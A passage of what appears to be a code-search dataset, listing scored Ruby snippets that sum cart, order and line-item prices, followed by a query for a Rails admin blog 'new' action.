line_items.to_a.sum { |item| item.total_price} \n end", "title": "" }, { "docid": "d2de4232ea55857fb06e6cd9e3c23037", "score": "0.66517866", "text": "def price_total\n price_total = 0\n user_cart = self.find(current_user)\n user_cart_items = self.where(user_id = user_cart)\n user_cart_items.each do |one_item|\n price_total = price_total + one_item.price\n end\n end", "title": "" }, { "docid": "d89678ed7e78f158bd64afd2cf97a95f", "score": "0.6646937", "text": "def total\n @total = 0.0\n for item in items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "e623984b81ffd1e4ef9502109540a827", "score": "0.66391146", "text": "def cart_total\n total = 0\n cart.each do |product_id, details|\n if p = Product.find_by(id: product_id)\n total += p.price_cents * details['quantity'].to_i\n end\n end\n total\n end", "title": "" }, { "docid": "8fe00ce8c4352e899a5fcd453c9cc6a8", "score": "0.6632765", "text": "def products_price\n line_items.map { |li| li.total_price }.sum\n end", "title": "" }, { "docid": "ed4c763d8877be00620ccdf4335f7486", "score": "0.6629621", "text": "def total_price\n line_items.to_a.sum { |item| item.total_price }\nend", "title": "" }, { "docid": "c6c3de85ffb20401cb3ee3777541e805", "score": "0.6628926", "text": "def total_value_in_room\n total = 0 # start total at zero\n items.each do |items| # go through each array item\n total = total + item.price # add price of item to total\n end\n total\n end", "title": "" }, { "docid": "78fb9a4c6decdff66993fab4d6120deb", "score": "0.66261053", "text": "def total_order\n rs = DB.execute \"SELECT SUM(a.quantity*b.price) AS total FROM OrderDetail a,Items b WHERE order_id = :id AND b.item_id=a.item_id\", :id => @order_id\n rs.each do |total|\n @total = total['total']\n end\n end", "title": "" }, { "docid": "ef18d6accbf63b2397633b257324be7d", "score": "0.6624103", "text": "def price\n total = @base\n @ingredients.each { |ingredient| total += ingredient.price }\n @dressing.each_with_index { |dressing,index| index > 0 ? total += dressing.price : next }\n return total\n end", "title": "" }, { "docid": "3f5d50be8dd5fb185633186b563c44d7", "score": "0.66226315", "text": "def total\n all_amount = @items.map(&:price).sum\n all_adjustments = @adjustments.sum { |a| a[:amount] }\n\n all_amount + all_adjustments\n end", "title": "" }, { "docid": "701a13534f2c84b7942e6103b6eae272", "score": "0.6621682", "text": "def calculate_total\n self.price = line_items.map(&:total).sum\n end", "title": "" }, { "docid": "12e8978695f21e32842e1020bae45272", "score": "0.66149306", "text": "def total_price\n # Sums up total price of all the items in the cart\n line_items.to_a.sum { |item| item.total_price}\n end", "title": "" }, { "docid": "bff098efea197a917636a31968715f28", "score": "0.66128683", "text": "def total\n @total = 0.0\n #logger.info @items.inspect\n for item in @items\n @total += (item.quantity * item.unit_price)\n end\n return @total\n end", "title": "" }, { "docid": "dab597f8d9e7d76413b27d8e3dd58a35", "score": "0.66098416", "text": "def total\n sum = product.price * quantity\n return sum\n end", "title": "" }, { "docid": "3370a8d9f5468cff36686e555e2a0dff", "score": "0.6599811", "text": "def subtotal\n sum = 0\n @items.each_pair { |item, quantity|\n sum += item.price * quantity \n }\n return sum\n end", "title": "" }, { "docid": "b1353c11af06ebe90e0fa5a6127abcfc", "score": "0.6597772", "text": "def full_price_items(cart, cost)\n cart.each do |item|\n item.each do |name,attribute|\n cost += (attribute[:price] * attribute[:count])\n end\n end\n cost\nend", "title": "" }, { "docid": "b1353c11af06ebe90e0fa5a6127abcfc", "score": "0.6597772", "text": "def full_price_items(cart, cost)\n cart.each do |item|\n item.each do |name,attribute|\n cost += (attribute[:price] * attribute[:count])\n end\n end\n cost\nend", "title": "" }, { "docid": "537497b78d45350b1502b023791b251f", "score": "0.6594824", "text": "def total\n full_price = @items.map { |i| i[:price] }.sum\n\n # first checks for single item discount\n @promotion_rules.select { |r| r[:type] == 'item' }.each do |rule|\n full_price -= item_discount(rule[:name], rule[:number], rule[:price])\n end\n\n # then calculates percentage discount\n @promotion_rules.select { |r| r[:type] == 'percentage' }.each do |rule|\n full_price -= percent_discount(full_price, rule[:minimum_value], rule[:percentage])\n end\n\n full_price.round(2)\n end", "title": "" }, { "docid": "965c58b7d2c4bc8b99d88fdd8bd7e7c8", "score": "0.6593691", "text": "def total_price\n self.to_a.inject(0) {|sum,p| sum + p.total_price}\n end", "title": "" }, { "docid": "4beb8359df60065996fef29699baa503", "score": "0.65927845", "text": "def total_price\n line_items.map(&:total_price).inject { |sum, tp| sum + tp } || 0\n end", "title": "" }, { "docid": "4277a1c79d54ca0f28dbea258d89ccf2", "score": "0.65831167", "text": "def subtotal\r\n subtotal = 0\r\n line_items.each do |item|\r\n subtotal = subtotal + item.total_price\r\n end\r\n subtotal\r\n end", "title": "" }, { "docid": "301cd67646b255072e6d4ce98d76b84b", "score": "0.65828514", "text": "def get_total_price\n sum = 0\n self.orders.each do |order|\n sum += order.total_price\n end\n return sum\n end", "title": "" }, { "docid": "e410f8ee43991ae93c9326264ea6bdc3", "score": "0.65799725", "text": "def total_price\n order_items.inject(0) do |sum, order_item|\n # sum += order_item.quantity * order_item.price # after_discount_price\n sum += order_item.total_price # after_discount_price\n end\n end", "title": "" }, { "docid": "0d3086f4d47eaa765fd77a58fc95c9ba", "score": "0.65743965", "text": "def total\n t = Money.new(0)\n self.items.each do |ii| \n t += ii.cost \n end \n t\n end", "title": "" }, { "docid": "2ed007102d15c0ec0231135358a416a4", "score": "0.65729195", "text": "def total_price\n\tline_items.to_a.sum {|item| item.total_price}\nend", "title": "" }, { "docid": "8b223644e1422cda83e876e40132dcf0", "score": "0.6568651", "text": "def total_valor_items\n items.sum(:total_price)\n end", "title": "" }, { "docid": "d24af67c84229a75c732aed1c1104139", "score": "0.65673333", "text": "def stock_in_hand\n sum = 0\n self.stock_locations.active.each do |location|\n stock_products.where(:variant_id => self.id).each do |item|\n sum = sum + item.count_on_hand\n end if stock_products.where(:variant_id => self.id).present?\n end if self.stock_locations.present?\n #return self.stock_items.sum\n end", "title": "" }, { "docid": "442ea35310d7d7e19fbea78c9dfeb756", "score": "0.6566547", "text": "def total_value\n total_value_of_inventory = 0\n @inventory.each do |car|\n total_value_of_inventory += car.total_cost\n end\n total_value_of_inventory\n end", "title": "" }, { "docid": "061d3be8ca54de795248d313319a6256", "score": "0.65652883", "text": "def waiter_total\n @total_sales = 0\n self.customers.each {|customer| customer.order.each {|item| @total_sales += item.price }}\n @total_sales\nend", "title": "" }, { "docid": "3872fb535918dc860e9b1d734877d259", "score": "0.6564326", "text": "def sum\n @items.map(&:price).reduce(:+) \n end", "title": "" }, { "docid": "0bdac70815c5147bb5da2ef161ede1c1", "score": "0.6561653", "text": "def set_total\n self.total = 0\n products.each do |p|\n self.total += p.price\n end\n self.save\n\n end", "title": "" }, { "docid": "c0bae1e71e3988491dd3a56d1a6ec41f", "score": "0.6561483", "text": "def total\n # TODO: implement total\n subtotal = 0\n @products.each do |product, price|\n subtotal += price\n end\n (subtotal + (subtotal * 0.075)).round(2)\n end", "title": "" }, { "docid": "490a4b6f81c8be5e4f06cfbbfaf18265", "score": "0.65571046", "text": "def sub_total\n product_items.map{|item| product = item.product.decorate; (product.price(item.variation_id)) * item.qty }.inject{|sum,x| sum + x } || 0\n end", "title": "" }, { "docid": "e8134d40d3ddd638d77d72b5c81d7ae4", "score": "0.655624", "text": "def total\n\t\torder_items = OrderItems.where(\"order_id = ?\", self.id).all\n\t\ttotal = 0\n\t\torder_items.each do |i|\n\t\t\ttotal = total + i.total \n\t\tend\n\t\treturn total\n\tend", "title": "" }, { "docid": "e3023dbbaca56f720b1479dee2948aaf", "score": "0.6547973", "text": "def average_price\n prices = []\n # CARYN SAYS: same thing with the enumerable choice here\n # seems to me like you got comfortable with filter and are trying to use a hammer where a screwdriver would be a better tool, metaphorically \n MenuItem.all.filter do |item| \n item.recipe == self\n prices << item.price\n end\n prices.sum / prices.count\n end", "title": "" }, { "docid": "697ed370e39248fe171d03cec776324f", "score": "0.65429986", "text": "def total\n @pricing_entries.inject(0) do |total_price, pricing_entry|\n number_of_items = @items.count(pricing_entry.product_code)\n\n number_of_volume_groups, number_of_singles = divide_items(number_of_items, pricing_entry.volume_quantity)\n total_price + (number_of_volume_groups * pricing_entry.volume_price) + (pricing_entry.unit_price * number_of_singles)\n end\n end", "title": "" }, { "docid": "612f92169a1e1b9a185593408c91993b", "score": "0.6541919", "text": "def sum\n total = 0.0\n discounts = apply_specials.flatten\n Transactions.where(checkout_id: @checkout_id).each do |t|\n total += Product[id: t[:product_id]][:price]\n end\n discounts.each do |d|\n total -= d[:price]\n end\n total.round(2)\n end", "title": "" }, { "docid": "ebf2e266c1866e1b031a7974eb12038a", "score": "0.6532814", "text": "def total\n total = products.inject(0.0) { |sum, product| sum + product.price }\n total = promotional_rules.inject(total) do |cur_total, rule|\n rule.new_total(cur_total, products)\n end\n total.round(2)\n end", "title": "" }, { "docid": "48d5611d03c6d6d13c708cbdd3b6c298", "score": "0.6532096", "text": "def total_price\n line_items.to_a.sum {|item| item.total_price}\n end", "title": "" }, { "docid": "6391156436a04a6dac90c3393d8779d4", "score": "0.6530834", "text": "def total_cost\n self_mem = Membership.all.select do |membership|\n membership.lifter == self\n end\n cost = 0\n self_mem.each do |membership|\n \n cost += membership.cost\n end\n cost\n end", "title": "" }, { "docid": "dc964bee66dad8900b550687d0542a02", "score": "0.6529339", "text": "def get_calories\n total_cal = 0\n @ingredients.each do |x|\n total_cal += x.get_calories.to_i\n end\n total_cal\n end", "title": "" }, { "docid": "188c8dfe2af07b8bc4b87ba895e1309e", "score": "0.652543", "text": "def calories\n total_calories = 0.0\n self.ingredients.each do |ingredient|\n total_calories += ingredient.calories.to_f\n end\n total_calories\n end", "title": "" }, { "docid": "14a51e4712b1f16871155be4184fba68", "score": "0.6520593", "text": "def total\n total = 0\n @products.each do |key, value|\n total += value\n end\n grand_total = (total * 1.075).round(2)\n return grand_total\n end", "title": "" }, { "docid": "27463a7b3798481ccc6dea5497abbb6d", "score": "0.65198463", "text": "def amount_raised\namount_raised=pledges.where(project_id: id)\ntotal_amount=amount_raised.sum(:pledge_amount)\nend", "title": "" }, { "docid": "4ee500da44a18b442959f55e7c34b4ac", "score": "0.65172184", "text": "def total_price\n self.items.reduce(0) { |sum, item| sum += item.price } - @discount\n end", "title": "" } ]
b73c9db9c4ff05ed4a9cbfb6746dcfe8
Delete ShippingMethod by key
[ { "docid": "3b82c485454d56fb80339a15bfc592a9", "score": "0.71438223", "text": "def delete_shipping_method_by_key(project_key, key, version, opts = {})\n data, _status_code, _headers = delete_shipping_method_by_key_with_http_info(project_key, key, version, opts)\n data\n end", "title": "" } ]
[ { "docid": "1c1cffa76094205ecf9adc35e1b03631", "score": "0.72744393", "text": "def delete key\n run_method(:delete, key)\n end", "title": "" }, { "docid": "6b373c08a14460aaeeb54de7abc8f2a3", "score": "0.67661464", "text": "def delete(key)\n end", "title": "" }, { "docid": "657492468e450084a3e70d9c952d4bad", "score": "0.67196864", "text": "def delete_shipping_method(shipping_zone_id, shipping_method_id)\n path = \"/shipping-zones/#{shipping_zone_id}/shipping_methods/#{shipping_method_id}\"\n\n response, status = BeyondApi::Request.delete(@session,\n path)\n\n handle_response(response, status, respond_with_true: true)\n end", "title": "" }, { "docid": "08bea026a677570d523d053d57f5b007", "score": "0.66971546", "text": "def delete_key(key)\n end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "86220d3b1d84d8c58682b9bdca45d381", "score": "0.6665708", "text": "def delete(key); end", "title": "" }, { "docid": "2c5de3f651e373808629f278a0f5a9f6", "score": "0.6660035", "text": "def delete(_key) end", "title": "" }, { "docid": "45a50367753b6136f93e26bebb9fc108", "score": "0.6656579", "text": "def destroy\n @shipping_method = @shop.shipping_methods.find(params[:id])\n @shipping_method.destroy\n\n respond_to do |format|\n format.html { redirect_to shop_shipping_methods_path(@shop) }\n format.json { render json: @shipping_method }\n end\n end", "title": "" }, { "docid": "cb3b88d0058e56096828e629c5d2d403", "score": "0.66418207", "text": "def delete(key)\n raise method_not_implemented_message\n end", "title": "" }, { "docid": "81f073e797766dd13b8c42d7bd2ee84b", "score": "0.664049", "text": "def delete(key)\n perform_across_services :delete, key\n end", "title": "" }, { "docid": "81f073e797766dd13b8c42d7bd2ee84b", "score": "0.664049", "text": "def delete(key)\n perform_across_services :delete, key\n end", "title": "" }, { "docid": "b25d0b74c6ea476f7aa73f5c845daaa6", "score": "0.66278535", "text": "def delete_payment_method(priority)\n payment_info = EasyPost::Services::Billing.get_payment_method_info(priority.downcase)\n endpoint = payment_info[0]\n payment_id = payment_info[1]\n\n @client.make_request(:delete, \"#{endpoint}/#{payment_id}\")\n\n # Return true if succeeds, an error will be thrown if it fails\n true\n end", "title": "" }, { "docid": "9bb06d72bde42877ce6d81b8068c2c37", "score": "0.6608461", "text": "def delete_shipping_method_by_key_with_http_info(project_key, key, version, opts = {})\n if @api_client.config.debugging\n @api_client.config.logger.debug 'Calling API: DefaultApi.delete_shipping_method_by_key ...'\n end\n # verify the required parameter 'project_key' is set\n if @api_client.config.client_side_validation && project_key.nil?\n fail ArgumentError, \"Missing the required parameter 'project_key' when calling DefaultApi.delete_shipping_method_by_key\"\n end\n # verify the required parameter 'key' is set\n if @api_client.config.client_side_validation && key.nil?\n fail ArgumentError, \"Missing the required parameter 'key' when calling DefaultApi.delete_shipping_method_by_key\"\n end\n # verify the required parameter 'version' is set\n if @api_client.config.client_side_validation && version.nil?\n fail ArgumentError, \"Missing the required parameter 'version' when calling DefaultApi.delete_shipping_method_by_key\"\n end\n # resource path\n local_var_path = '/{projectKey}/shipping-methods/key={key}'.sub('{' + 'projectKey' + '}', CGI.escape(project_key.to_s)).sub('{' + 'key' + '}', CGI.escape(key.to_s))\n\n # query parameters\n query_params = opts[:query_params] || {}\n query_params[:'version'] = version\n query_params[:'expand'] = @api_client.build_collection_param(opts[:'expand'], :multi) if !opts[:'expand'].nil?\n\n # header parameters\n header_params = opts[:header_params] || {}\n # HTTP header 'Accept' (if needed)\n header_params['Accept'] = @api_client.select_header_accept(['application/json'])\n\n # form parameters\n form_params = opts[:form_params] || {}\n\n # http body (model)\n post_body = opts[:debug_body]\n\n # return_type\n return_type = opts[:debug_return_type] || 'ShippingMethod'\n\n # auth_names\n auth_names = opts[:debug_auth_names] || ['oauth_2_0']\n\n new_options = opts.merge(\n :operation => :\"DefaultApi.delete_shipping_method_by_key\",\n :header_params => header_params,\n :query_params => query_params,\n :form_params => form_params,\n :body => post_body,\n :auth_names => auth_names,\n :return_type => return_type\n )\n\n data, status_code, headers = @api_client.call_api(:DELETE, local_var_path, new_options)\n if @api_client.config.debugging\n @api_client.config.logger.debug \"API called: DefaultApi#delete_shipping_method_by_key\\nData: #{data.inspect}\\nStatus code: #{status_code}\\nHeaders: #{headers}\"\n end\n return data, status_code, headers\n end", "title": "" }, { "docid": "67cfc0f1336f3f12e14ff832519a7e55", "score": "0.65811664", "text": "def delete(key)\n\t\tend", "title": "" }, { "docid": "ba225d32c4fcd0019509681213a1960c", "score": "0.6561892", "text": "def delete(key)\n raise NoMethodError\n end", "title": "" }, { "docid": "b3deccb915758228b4d6573dc92a2eb2", "score": "0.65339017", "text": "def delete(key)\n attribute = key.to_sym\n results.delete(attribute)\n end", "title": "" }, { "docid": "961e2d3e609ac9896f4063026cdcb66d", "score": "0.6528998", "text": "def delete(key)\n raise NoMethodError.new('delete')\n end", "title": "" }, { "docid": "e044bdfe0d10ca54f69ec282551320cb", "score": "0.65231466", "text": "def delete key\n raise NotImplementedError\n end", "title": "" }, { "docid": "5cf2eb32ebe56bd66e3264e864cfe06b", "score": "0.6498879", "text": "def delete(key:)\n raise \"DELETE function not implemented\"\n end", "title": "" }, { "docid": "6d6b8ec17780dada8755affb0923588d", "score": "0.6492493", "text": "def destroy\n @shipping_method = ShippingMethod.find(params[:id])\n @shipping_method.destroy\n\n respond_to do |format|\n format.html { redirect_to(admin_shipping_methods_url) }\n format.xml { head :ok }\n end\n end", "title": "" }, { "docid": "0080f7ad63811a6c7cfcc6e6622075f0", "score": "0.64904654", "text": "def delete(key) super(key.to_sym) end", "title": "" }, { "docid": "bfb0d1e7042d412adb7a25f9dcf7e6cf", "score": "0.6488488", "text": "def destroy\n @shipping_method = ShippingMethod.find(params[:id])\n @shipping_method.destroy\n\n respond_to do |format|\n format.html { redirect_to shipping_methods_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "bfb0d1e7042d412adb7a25f9dcf7e6cf", "score": "0.6488488", "text": "def destroy\n @shipping_method = ShippingMethod.find(params[:id])\n @shipping_method.destroy\n\n respond_to do |format|\n format.html { redirect_to shipping_methods_url }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "36058ca2b339f4dbb16dd505d7ee28d1", "score": "0.64790255", "text": "def delete(key)\n `#@native.delete(#{key})`\n end", "title": "" }, { "docid": "1eb3a3d91ba2b1b5cbb86f99ee6cda66", "score": "0.6472063", "text": "def delete key\n\tend", "title": "" }, { "docid": "863d9eee7c7d3d3dc3fd64227abbd7f8", "score": "0.64663404", "text": "def delete key\n parse(_delete_(\"#{key}\"))\n end", "title": "" }, { "docid": "92e13de544a9403202641c9a18ce0764", "score": "0.6458551", "text": "def delete(key)\n backend.delete(key_prefix + key.to_s)\n end", "title": "" }, { "docid": "fc3c8494146d3cdd985cbbc1532208ea", "score": "0.6437843", "text": "def delete(key)\n raise NotImplementedError\n end", "title": "" }, { "docid": "8d48d8578ad09e452a8dfb9592e47428", "score": "0.6432747", "text": "def delete(key)\n @adapter.hash_delete @name, key.to_s\n end", "title": "" }, { "docid": "bd4c1c34a3616854bdf881af0663e480", "score": "0.6416497", "text": "def delete(key)\n raise 'Not implemented'\n end", "title": "" }, { "docid": "f28eb7dae47fe7f23a41a96f1a92a776", "score": "0.6408549", "text": "def delete(key)\n raise Errors::TemplateMethodCalled.new('delete')\n end", "title": "" }, { "docid": "aa89670c87f1110ad1caece0dadeeb6b", "score": "0.64014935", "text": "def delete(key)\n key = key.to_sym if String === key\n @data.delete key\n end", "title": "" }, { "docid": "ed395471f9653429fa6970059e6775ba", "score": "0.6397016", "text": "def delete(key)\n raise \"Method not implemented. Called abstract class.\"\n end", "title": "" }, { "docid": "04767320897a767feb83557152a2946d", "score": "0.63876057", "text": "def delete(key)\n raise NotImplementedError\n end", "title": "" }, { "docid": "767f1cb31d7931e4760acdc26d0113c1", "score": "0.6383313", "text": "def delete(key)\n raise NotImplementedError\n end", "title": "" }, { "docid": "767f1cb31d7931e4760acdc26d0113c1", "score": "0.6383313", "text": "def delete(key)\n raise NotImplementedError\n end", "title": "" }, { "docid": "20108ae8ae7cce394023e2d7245c0ce3", "score": "0.6330519", "text": "def destroy\n service.delete(key)\n end", "title": "" }, { "docid": "d11098548c731555d12215e78a2c3d34", "score": "0.63091236", "text": "def delete_payment_method(options = {})\n soap_action(\"DeletePaymentMethod\", options.merge(:payer_id => (options[:payer_id] || find_or_create_payer(options))))\n end", "title": "" }, { "docid": "8e54dfa80a258714b9b8e1efe3fbf53d", "score": "0.630889", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "8e54dfa80a258714b9b8e1efe3fbf53d", "score": "0.630889", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "a17ebe18574502de18690c8132efd064", "score": "0.63020396", "text": "def delete(key)\n @backend.delete(key)\n end", "title": "" }, { "docid": "700569807ae246bd12cc3d5051f8724a", "score": "0.6261096", "text": "def delete(method, *args)\n self.method = method\n self.args = args\n MethodCacheable.store.delete(key, options)\n end", "title": "" }, { "docid": "2e66d1eb9b64edb2ec578799284fbef9", "score": "0.62587225", "text": "def delete(key)\n @backend.delete(key)\n end", "title": "" }, { "docid": "fce78510e5861e97bca298b28e69b2c8", "score": "0.6252994", "text": "def delete(key)\n super cast_key(key)\n end", "title": "" }, { "docid": "5c763f353197e811f6cb7647efdc7191", "score": "0.6225778", "text": "def delete(key)\n @path.delete(key)\n end", "title": "" }, { "docid": "80a44b84096f8d9b467ce3a3458df086", "score": "0.62058234", "text": "def delete(key)\n @backend.del(key)\n end", "title": "" }, { "docid": "1f879f0b9d2b7364a88f0a681c5bca89", "score": "0.6192245", "text": "def delete(key)\n\t\t\tif @catalog[:tle].has_key? key\n\t\t\t\t@catalog[:tle].delete(key)\n\t\t\tend\n\t\tend", "title": "" }, { "docid": "92c797432ea8b16862bb94a6c97343aa", "score": "0.6183896", "text": "def delete(key)\n\t\tsuper(convert_key(key))\n\tend", "title": "" }, { "docid": "71c6c2a389d25b487b2cb7190c95c9ce", "score": "0.6181607", "text": "def delete_key(key)\n @bnf_records.delete(key)\n end", "title": "" }, { "docid": "4c40c93c16fd1332cdab72aba4a1b143", "score": "0.6163737", "text": "def _delete(key)\n _data.delete(_process_key(key))\n end", "title": "" }, { "docid": "c8119f8029b6b474469933c683aca2a1", "score": "0.6162628", "text": "def delete(key)\n transaction { |db| db.delete key.to_s }\n end", "title": "" }, { "docid": "51e5d3846c822f01d9c1578d64cfbd6e", "score": "0.615835", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "51e5d3846c822f01d9c1578d64cfbd6e", "score": "0.615835", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "51e5d3846c822f01d9c1578d64cfbd6e", "score": "0.615835", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "51e5d3846c822f01d9c1578d64cfbd6e", "score": "0.615835", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "51e5d3846c822f01d9c1578d64cfbd6e", "score": "0.615835", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "51e5d3846c822f01d9c1578d64cfbd6e", "score": "0.615835", "text": "def delete(key)\n super(convert_key(key))\n end", "title": "" }, { "docid": "006caf2d21cc0b9699022308555f7dba", "score": "0.6157362", "text": "def delete_key(key)\n self.reject! { |x,y| x == key }\n end", "title": "" }, { "docid": "2b79366e6905d9d861afa39684a68719", "score": "0.61521333", "text": "def delete(key)\n @backend.del(key)\n end", "title": "" }, { "docid": "0c0984e351e3dd242dd79635f4572b82", "score": "0.61507237", "text": "def delete(key)\n if @store[key.to_sym]\n @object_types[@store[key.to_sym].type].delete(key.to_s)\n @store.delete(key.to_sym)\n end\n end", "title": "" }, { "docid": "3d636befcc60bfb10fb1970a6991bf7b", "score": "0.6140932", "text": "def delete(key)\n touch\n key = key.to_s\n @attributes.delete(key)\n @attributes.delete(key.intern)\n end", "title": "" }, { "docid": "dce39500299a05fdf65400a14cbec2e5", "score": "0.61340374", "text": "def destroy\n authorize_action_for @shipping_method, at: current_store\n track @shipping_method\n @shipping_method.destroy\n\n respond_to do |format|\n format.html { redirect_to admin_shipping_methods_path,\n notice: t('.notice', shipping_method: @shipping_method) }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "d28e8603941092d94167f26792830905", "score": "0.61201733", "text": "def delete(key, options = {})\n @adapter.delete(key, options)\n end", "title": "" }, { "docid": "c417b8eec1f8b9056e0267a6271e8c18", "score": "0.6111327", "text": "def delete(key, field = :skip)\n @column_family.delete({\n where: where(key, field),\n })\n end", "title": "" }, { "docid": "bb55e9d3c98f014410137e8a4b4c87ba", "score": "0.6098845", "text": "def remove(key)\n \n end", "title": "" }, { "docid": "bb55e9d3c98f014410137e8a4b4c87ba", "score": "0.6098845", "text": "def remove(key)\n \n end", "title": "" }, { "docid": "03dc87d467839ee9e5a118af878695e1", "score": "0.6095015", "text": "def remove(key)\n Iterable.request(conf, base_path(key)).delete\n end", "title": "" }, { "docid": "88dd6687462ce5b627f01ac60f077e4f", "score": "0.60928583", "text": "def delete key\n @data.delete key\n end", "title": "" }, { "docid": "174ab4bd1ae4d750c6591e6f63359fab", "score": "0.60891414", "text": "def decrease_polyphony id\n @keys.delete id\n end", "title": "" }, { "docid": "432cd6a41bc4060e087aee6f0eee4083", "score": "0.6077247", "text": "def del(key)\n @keys.delete(key)\n return case key.class.to_s\n when 'String'; del_string_key(key)\n when 'Fixnum'; del_integer_key(key)\n else; del_object_key(key)\n end\n end", "title": "" }, { "docid": "523d727ce11241eff4ace40effe4f855", "score": "0.6074938", "text": "def delete key\n self.hash.delete key\n end", "title": "" }, { "docid": "8587a19cb68f726ab79f4b9dc79bcee1", "score": "0.6072163", "text": "def delete(key)\n items[key].delete\n end", "title": "" }, { "docid": "cf474ee0dd4e7246fedc55d6fbeab9f2", "score": "0.6068978", "text": "def destroy\n @key.destroy\n end", "title": "" }, { "docid": "c6acff3d6ec15c204b28be3f09bbc2aa", "score": "0.60638803", "text": "def remove(key)\n end", "title": "" }, { "docid": "c6acff3d6ec15c204b28be3f09bbc2aa", "score": "0.60638803", "text": "def remove(key)\n end", "title": "" }, { "docid": "b0b8c9c447a2432686fa1f80c9c3302b", "score": "0.6057378", "text": "def delete\n @owner.remove_payment_method(@payment_method)\n end", "title": "" }, { "docid": "622ad338cba3eca2afebfd371ccd3fa1", "score": "0.605463", "text": "def delete(key)\n key = key.to_sym if key.respond_to?(:to_sym)\n @hash[key] = nil\n clear_disposed\n end", "title": "" }, { "docid": "a715fa28a2d8c1bce38adec747aa7a9a", "score": "0.6054595", "text": "def delete_shipping_method_by_id(project_key, id, version, opts = {})\n data, _status_code, _headers = delete_shipping_method_by_id_with_http_info(project_key, id, version, opts)\n data\n end", "title": "" }, { "docid": "f82e3925ad45438c342c4c9e2c44386a", "score": "0.6052131", "text": "def remove(key); end", "title": "" }, { "docid": "f82e3925ad45438c342c4c9e2c44386a", "score": "0.6052131", "text": "def remove(key); end", "title": "" }, { "docid": "af5236817195213b318988ec1e150dc9", "score": "0.60508245", "text": "def delete(key)\n @data.delete key\n end", "title": "" }, { "docid": "22b9b501daa13939f888e0d0ad7d3ccf", "score": "0.6042826", "text": "def destroy\n @shipping_method.destroy\n respond_to do |format|\n format.html { redirect_to admin_shipping_methods_url, notice: 'Shipping method was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "title": "" }, { "docid": "686ae84c47c5b81acdef7a512f9cbc8c", "score": "0.6038387", "text": "def delete(key)\n unless @options[:capped]\n @collection.find(:_id => key).remove\n end\n end", "title": "" }, { "docid": "c50359cdc3b5d9ae0bb588a015bd2868", "score": "0.6038297", "text": "def delete!(key)\n delete key, true\n end", "title": "" }, { "docid": "eb3a21f97abc5edfeba0af81de6e40da", "score": "0.60333765", "text": "def delete( key )\n @hash.delete(key)\n @order.delete(key)\n end", "title": "" }, { "docid": "eb7d25a113a502df1a875edabe44f496", "score": "0.6033192", "text": "def delete(key)\n sql =<<-SQL\nUPDATE #{table_name}\nSET #{hstore_column} = delete(#{hstore_column}, ?)\nWHERE id = #{ar_instance.id}\nSQL\n ar_klazz.execute_sql([sql, key])\n end", "title": "" }, { "docid": "e195f70d79b1fbf2ac0b8fb95ea6a346", "score": "0.6025182", "text": "def delete! key = nil\n if key.nil?\n @fields.clear\n else\n key = key.to_sym\n unless @fields.key? key\n raise ArgumentError, \"Key #{key.inspect} does not exist\"\n end\n field = @fields.delete key\n singleton_class.send :remove_method, :\"#{key}\"\n singleton_class.send :remove_method, :\"#{key}=\" if field.is_a? Option\n end\n self\n end", "title": "" }, { "docid": "ca4e577e4b3d837e341e635ac1d9b3f4", "score": "0.601578", "text": "def delete\n @contact_method = ContactMethod.find(params[:contact_method_id])\n end", "title": "" }, { "docid": "50088c0e8e2fd3a360d8c4623b1f58af", "score": "0.6009412", "text": "def destroy_key! attribute, key\n destroy_key(attribute, key).save\n end", "title": "" }, { "docid": "68fc40a854c10db31f9b0141089058fc", "score": "0.60058075", "text": "def delete(key, parameters = {})\n raise NotImplementedError\n end", "title": "" }, { "docid": "68fc40a854c10db31f9b0141089058fc", "score": "0.60058075", "text": "def delete(key, parameters = {})\n raise NotImplementedError\n end", "title": "" }, { "docid": "f07ad8e10ca8082568309c61640d38e9", "score": "0.6005312", "text": "def delete(key)\n @store.delete(key_path_string(key.to_s))\n end", "title": "" }, { "docid": "869e661ff10b6ddb76dc47aac50aa5c2", "score": "0.5985651", "text": "def delete(key)\n @order.delete(key)\n @hash.delete(key)\n end", "title": "" } ]
a7dfed207d799dd3a44036676b4b21ed
GET /admin/blogs/new GET /admin/blogs/new.json
[ { "docid": "6161a9b85f9ccf5238f1d78ea61d0214", "score": "0.77257085", "text": "def new\n @admin_blog = Admin::Blog.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @admin_blog }\n end\n end", "title": "" } ]
